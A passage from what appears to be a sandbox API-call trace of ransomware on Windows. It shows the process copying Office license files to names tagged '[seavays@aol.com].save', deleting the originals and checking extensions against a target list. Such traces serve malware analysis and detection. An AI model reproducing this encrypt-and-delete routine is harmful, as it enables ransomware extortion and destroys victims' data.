lpNumberOfBytesRead=0x3e3fecc*=0x2d75, lpOverlapped=0x0) returned 1 [0184.002] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0184.004] ReadFile (in: hFile=0x388, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.004] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x124, lpOverlapped=0x0) returned 1 [0184.004] SetEndOfFile (hFile=0x374) returned 1 [0184.004] CloseHandle (hObject=0x374) returned 1 [0184.004] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.004] SetEndOfFile (hFile=0x388) returned 1 [0184.008] CloseHandle (hObject=0x388) returned 1 [0184.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 1 [0184.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0184.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0184.010] lstrlenW (lpString=".doc") returned 4 [0184.010] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.010] lstrlenW (lpString=".docx") returned 5 [0184.010] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.010] lstrlenW (lpString=".pdf") returned 4 [0184.010] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.010] lstrlenW (lpString=".xls") returned 4 [0184.010] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.010] lstrlenW (lpString=".xlsx") returned 5 [0184.010] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.010] lstrlenW (lpString=".ppt") returned 4 [0184.010] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0184.010] lstrlenW (lpString=".zip") returned 4 [0184.010] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.010] lstrlenW (lpString=".rar") returned 4 [0184.010] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.010] lstrlenW (lpString=".bz2") returned 4 [0184.010] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.010] lstrlenW (lpString=".7z") returned 3 [0184.010] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0184.011] lstrlenW (lpString=".dbf") returned 4 [0184.011] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0184.011] lstrlenW (lpString=".1cd") returned 4 [0184.011] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0184.011] lstrlenW (lpString=".jpg") returned 4 [0184.011] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.012] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19982) returned 1 [0184.012] CloseHandle (hObject=0x388) returned 1 [0184.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0184.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0184.013] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.013] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0184.014] GetLastError () returned 0x0 [0184.014] ReadFile (in: hFile=0x388, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x4e0e, lpOverlapped=0x0) returned 1 [0184.016] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4e10, lpOverlapped=0x0) returned 1 [0184.018] ReadFile (in: hFile=0x388, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.018] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x124, lpOverlapped=0x0) returned 1 [0184.018] SetEndOfFile (hFile=0x374) returned 1 [0184.018] CloseHandle (hObject=0x374) returned 1 [0184.018] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.018] SetEndOfFile (hFile=0x388) returned 1 [0184.021] CloseHandle (hObject=0x388) returned 1 [0184.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 1 [0184.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0184.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0184.023] lstrlenW (lpString=".doc") returned 4 [0184.023] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.023] lstrlenW (lpString=".docx") returned 5 [0184.023] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.023] lstrlenW (lpString=".pdf") returned 4 [0184.023] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.023] lstrlenW (lpString=".xls") returned 4 [0184.023] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.023] lstrlenW (lpString=".xlsx") returned 5 [0184.023] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.023] lstrlenW (lpString=".ppt") returned 4 [0184.023] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0184.023] lstrlenW (lpString=".zip") returned 4 [0184.023] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.023] lstrlenW (lpString=".rar") returned 4 [0184.023] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.024] lstrlenW (lpString=".bz2") returned 4 [0184.024] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.024] lstrlenW (lpString=".7z") returned 3 [0184.024] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0184.024] lstrlenW (lpString=".dbf") returned 4 [0184.024] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0184.024] lstrlenW (lpString=".1cd") returned 4 [0184.024] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0184.024] lstrlenW (lpString=".jpg") returned 4 [0184.024] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.025] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=22033) returned 1 [0184.025] CloseHandle (hObject=0x388) returned 1 [0184.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220 [0184.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0184.026] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.026] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0184.027] GetLastError () returned 0x0 [0184.027] ReadFile (in: hFile=0x388, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x5611, lpOverlapped=0x0) returned 1 [0184.339] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5620, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x5620, lpOverlapped=0x0) returned 1 [0184.341] ReadFile (in: hFile=0x388, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.341] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x110, lpOverlapped=0x0) returned 1 [0184.341] SetEndOfFile (hFile=0x374) returned 1 [0184.341] CloseHandle (hObject=0x374) returned 1 [0184.341] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.341] SetEndOfFile (hFile=0x388) returned 1 [0184.345] CloseHandle (hObject=0x388) returned 1 [0184.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 1 [0184.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0184.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0184.347] lstrlenW (lpString=".doc") returned 4 [0184.347] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.347] lstrlenW (lpString=".docx") returned 5 [0184.347] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.348] lstrlenW (lpString=".pdf") returned 4 [0184.348] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.348] lstrlenW (lpString=".xls") returned 4 [0184.348] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.348] lstrlenW (lpString=".xlsx") returned 5 [0184.348] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.348] lstrlenW (lpString=".ppt") returned 4 [0184.348] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0184.348] lstrlenW (lpString=".zip") returned 4 [0184.348] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.348] lstrlenW (lpString=".rar") returned 4 [0184.348] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.348] lstrlenW (lpString=".bz2") returned 4 [0184.348] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.348] lstrlenW (lpString=".7z") returned 3 [0184.348] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0184.348] lstrlenW (lpString=".dbf") returned 4 [0184.348] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0184.348] lstrlenW (lpString=".1cd") returned 4 [0184.349] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0184.349] lstrlenW (lpString=".jpg") returned 4 [0184.349] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.428] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19962) returned 1 [0184.428] CloseHandle (hObject=0x384) returned 1 [0184.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0184.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0184.429] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.429] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0184.431] GetLastError () returned 0x0 [0184.431] ReadFile (in: hFile=0x384, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x4dfa, lpOverlapped=0x0) returned 1 [0184.433] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0184.435] ReadFile (in: hFile=0x384, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.435] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11c, lpOverlapped=0x0) returned 1 [0184.436] SetEndOfFile (hFile=0x550) returned 1 [0184.436] CloseHandle (hObject=0x550) returned 1 [0184.436] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.436] SetEndOfFile (hFile=0x384) returned 1 [0184.440] CloseHandle (hObject=0x384) returned 1 [0184.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0184.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0184.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0184.441] lstrlenW (lpString=".doc") returned 4 [0184.441] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.441] lstrlenW (lpString=".docx") returned 5 [0184.441] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.441] lstrlenW (lpString=".pdf") returned 4 [0184.442] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.442] lstrlenW (lpString=".xls") returned 4 [0184.442] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.442] lstrlenW (lpString=".xlsx") returned 5 [0184.442] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.442] lstrlenW (lpString=".ppt") returned 4 [0184.442] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0184.442] lstrlenW (lpString=".zip") returned 4 [0184.442] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.442] lstrlenW (lpString=".rar") returned 4 [0184.442] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.442] lstrlenW (lpString=".bz2") returned 4 [0184.442] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.442] lstrlenW (lpString=".7z") returned 3 [0184.442] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0184.442] lstrlenW (lpString=".dbf") returned 4 [0184.442] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0184.442] lstrlenW (lpString=".1cd") returned 4 [0184.442] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0184.442] lstrlenW (lpString=".jpg") returned 4 [0184.442] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.443] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11621) returned 1 [0184.443] CloseHandle (hObject=0x384) returned 1 [0184.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220 [0184.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0184.445] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.445] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0184.446] GetLastError () returned 0x0 [0184.446] ReadFile (in: hFile=0x384, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0184.448] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0184.449] ReadFile (in: hFile=0x384, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.449] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11e, lpOverlapped=0x0) returned 1 [0184.450] SetEndOfFile (hFile=0x550) returned 1 [0184.450] CloseHandle (hObject=0x550) returned 1 [0184.450] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.450] SetEndOfFile (hFile=0x384) returned 1 [0184.454] CloseHandle (hObject=0x384) returned 1 [0184.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) 